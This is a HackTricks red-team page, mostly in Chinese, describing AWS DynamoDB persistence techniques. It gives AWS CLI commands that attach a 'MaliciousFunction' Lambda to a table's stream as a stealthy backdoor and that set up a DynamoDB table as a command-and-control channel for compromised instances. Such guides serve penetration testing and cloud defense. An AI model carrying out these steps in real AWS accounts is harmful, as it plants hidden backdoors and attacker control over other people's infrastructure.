AWS - DynamoDB Persistence

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

DynamoDB

有关更多信息,请访问:

AWS - DynamoDB Enum

DynamoDB Triggers with Lambda Backdoor

使用 DynamoDB triggers,攻击者可以通过将恶意 Lambda function 与 table 关联来创建一个 stealthy backdoor。当添加、修改或删除某个 item 时,Lambda function 会被触发,从而使攻击者能够在 AWS 账户中执行任意代码。

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

为了保持 persistence,攻击者可以在 DynamoDB 表中创建或修改 items,从而触发恶意的 Lambda 函数。这允许攻击者在 AWS 账户内执行代码,而无需与 Lambda 函数直接交互。

DynamoDB as a C2 Channel

攻击者可以将 DynamoDB 表用作 command and control (C2) channel,通过创建包含命令的 items,并使用被入侵的实例或 Lambda 函数来获取并执行这些命令。

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

被攻陷的实例或 Lambda functions 可以定期检查 C2 表以获取新命令、执行这些命令,并可选择将结果回报到该表。这允许攻击者对被攻陷的资源保持持久性和控制。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks